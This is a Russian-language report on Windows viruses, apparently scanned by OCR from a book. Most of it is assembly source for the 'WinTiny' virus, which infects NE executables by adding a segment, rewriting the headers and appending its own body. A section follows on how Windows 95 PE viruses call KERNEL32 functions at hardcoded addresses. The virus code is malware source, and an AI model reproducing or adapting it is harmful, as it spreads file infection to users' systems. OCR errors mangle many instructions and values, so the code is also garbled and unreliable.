Доклад: Вирусы под Windows
;Сохраним оригинальные значения точек входа CS и IP
push WORD PTR [new_hdr+14h]
pop [hostJp]
pushTWORD PTR [new_hdr+16h]
pop [host_cs]
;Добавим еще один сегмент в таблицу сегментов и установим
;точку входа на его начало
mov WORD PTR [new_hdr+14h],0
inc WORD PTR [new_hdr+1ch]
push WORD PTR [new_hdr+1ch]
pop WORD PTR [new_hdr+16h]
.Переместим указатель чтения/записи в начало файла
;(к старому заголовку)
хог сх.сх
xor dx.dx
mov ax,4200h
int 21 h
;3апишем старый заголовок, так как модифицированы
;некоторые поля его копии в памяти
mov dx.OFFSET old_hdr
mov cx,40h
mov ah,40h
int 21 h
;Переместим указатель чтения/записи на начало нового
заголовка (его переместили на 8 байт к началу файла)
mov dx.WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
mov ax,4200h
int 21 h
;3апишем новый заголовок, так как в его копии
;в памяти некоторые поля модифицированы
mov dx, OFFSET new_hdr
mov cx,40h
mov ah,40h
int 21h
.Переместим указатель чтения/записи на 8 байт
;вперед - к началу таблицы сегментов
хог сх.сх
mov dx,8
mov ax,4201 h
int 21h
рассчитаем размер таблицы сегментов и считаем ее в память
mov dx,OFFSET temp
mov cx.WORD PTR [new_hdr+1ch]
dec ex
shi cx.3
push ex
mov ah,3Fh
int 21h
Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов
pop dx
push dx
add dx,8
neg dx
mov cx,-1
mov ax,4201h
int 21h
;3апишем таблицу сегментов в файл, но не на ее прежнее место,
;а на 8 байт ближе к началу файла
mov dx,OFFSET temp
pop ex
mov ah,40h
int 21h
.Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor сх,сх
xor dx.dx
mov^ ax,4201h
int 21 h
;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax
.Получим длину файла, переместив указатель
^тения/записи в конец файла
xor сх.сх
xor dx,dx
mov ax,4202h
int 21 h
;Сохраним в стеке длину файла
push dx
push ax
;Вычислим и сохраним длину логического сектора
mov cx.WORD PTR [new_hdr+32h]
mov ax,1
shi ax.cl
mov [log_sec_len],ax
;Вычислим длину файла в логических секторах
mov сх.ах
pop ax
pop dx
div ex
-.Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов
or dx,dx
jz no_rmd
inc ax
no_rmd:
;3аполним поля нового элемента в таблице сегментов
mov [my_seg_entry],ax
3-1436
mov [my_seg_entry+2],OFFSET vir_end
mov [my_seg_entry+4],180h
mov [my_seg_entry+6],OFFSET vir_end
;Восстановим из стека позицию в файле конца таблицы секторов
pop dx
pop ex
Переместим указатель чтения/записи к этой позиции
mov ax,4200h
int 21 h
.Запишем в конец таблицы новый элемент
mov dx,OFFSET my_seg_entry
mov ex,8
mov ah,40h
int 21 h
;Скопируем тело вируса в область памяти, которую выделили
;в начале программы, для изменений в нем. В защищенном режиме
;(а работаем именно в нем), нельзя производить запись в сегмент
;кода. Если по какой-то причине нужно произвести изменение
;в сегменте кода, создается алиасный дескриптор данных
;(дескриптор, содержащий то же смещение и длину,
;что и сегмент кода), и дальнейшая работа ведется с ним.
;В данном случае просто воспользуемся выделенным блоком памяти
push ds
pop es
push cs
pop ds
xor si,si
mov di,OFFSET temp
mov ex,OFFSET vir_end
eld
rep movsb
push es
pop ds
Инициализируем адрес точки входа
mov si,OFFSET temp
mov WORD PTR [si+reloc!P],0
mov WORD PTR [si+relocCS],OFFFFh
Переместим указатель чтения/записи на новую точку входа
mov ax,[my_seg_entry]
mov cx,[log_sec_len]
mul ex
mov cx.dx
mov dx.ax
mov ax,4200h
int 21h
;3апишем тело вируса в файл
mov dx, OFFSET temp
mov ex,OFFSET vir_end
mov ah,40h
int 21h
.Инициализируем поля перемещаемого элемента
mov WORD PTR [reloc_data],1
mov BYTE PTR [reloc_data+2],3
mov BYTE PTR [reloc_data+3],4
mov WORD PTR [reloc_data+4],OFFSET reloclP
;3апишем перемещаемый элемент
mov dx,OFFSET reloc_data
mov ex, 10
mov ah,40h
int 21h
[Закроем файл
mov ah,3Eh
int 21h
.Освободим выделенный блок памяти
call free
;3апустим программу-носитель
jmp exit
.Процедура, освобождающая выделенный блок памяти
free PROC NEAR
mov ax,0502h
mov si,[mem_hnd]
mov di,[mem_hnd+2]
з*
int 31 h
ret
free ENDP
; Маска для поиска файлов
wild_exe DB "•ЕХЕ-.О
;Имя вируса
DB "WinTiny"
;Идентификатор, указывающий на конец инициализированных данных
vir_end:
.Индекс выделенного блока памяти
mem_hnd DW ?
DW ?
;Адрес текущей DTA
DTA DW ?
DW ?
;Место для хранения старого заголовка
olcLhdr DB 40h dup (?)
.Место для хранения нового заголовка
new_hdr DB 40h dup (?)
;Длина логического номера сектора
log_sec_len DW ?
; Новый элемент в таблице сегментов
my_seg_entry DW ?
DW ?
DW ?
DW ?
.Перемещаемый элемент
reloc_dataDW ?
DB ?
DB ?
DW?
;3начение оригинальной точки входа
host_cs DW ?
hostJp DW ?
;0бласть памяти для использования
temp DB ?
END
Вирусы под Windows 95
Формат Portable Executable используется Win32, Windows NT
и Windows 95, что делает его очень популярным, и в будущем, возмож-
но, он станет доминирующим форматом ЕХЕ. Этот формат значитель-
но отличается от NE-executable, используемого в Windows 3.11.
вызов Windows 95 API
Обычные приложения вызывают Windows 95 API (Application Program
Interface) используя таблицу импортируемых имен. Когда приложение
загружено, данные, необходимые для вызова API, заносятся в эту табли-
цу. В Windows 95, благодаря предусмотрительности фирмы-производите-
ля Microsoft, модифицировать таблицу импортируемых имен невозможно.
Эта проблема решается непосредственным вызовом KERNEL32. То есть
необходимо полностью игнорировать структуру вызова и перейти не-
посредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать
вызов API GetModuleHandle или другие функции для получения точек
входа модуля, включая функцию получения адреса API GetProcAddress.
Как вызывать API, имея возможность вызывать его и в то же время та-
кой возможности не имея? Ответ: вызывать API, расположение которо-
го в памяти известно - это API в файле KERNEL32.DLL, он находится
по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call APLFUNCTIONJMAME
например:
call CreateFileA
После компиляции этот вызов выглядит так:
db 9Ah .инструкция call
dd 7777 ;смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера
для данной функции API. Этот адрес можно получить с помощью
GetProcAddress API. Диспетчер функций выглядит так:
push function value
call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого
модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан-
дартной точке на вызовы непосредственно функций. Просто сохраняем
в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически - именно так
и предполагалось. Но конкретное место его расположения в разных вер-
сиях Windows 95 отличается. Это было проверено. Оказалось, что одна
функция (получение времени/даты) отличается номером. Для компен-
сации этих различий добавлена проверка двух различных мест на нали-
чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра-
щает управление программе-носителю.
Адреса и номера функций
Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для
August Release - по адресу OBFF93ClDh. Можно найти другие значе-
ния функции, используя 32-битный отладчик. В таблице 3.1 приведены
адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL
Функция | Адрес в June Test Release |
Адрес в August Test |
GetCurrentDir | BFF77744h | BFF77744h |
SetCurrentDir | BFF7771Dh | BFF7771Dh |
GetTime | BFF9DOB6h | BFF9D14Eh |
MessageBox | BFF638D9h | BFF638D9h |
FindFile | BFF77893h | BFF77893h |
FindNext | BFF778CBh | BFF778CBh |
CreateFile | BFF77817h | BFF77817h |
SetFilePointer | BFF76FAOh | BFF76FAOh |
ReadFile | BFF75806h | BFF75806h |
WriteFile | BFF7580Dh | BFF7580Dh |
CloseFile | BFF7BC72H | BFF7BC72h |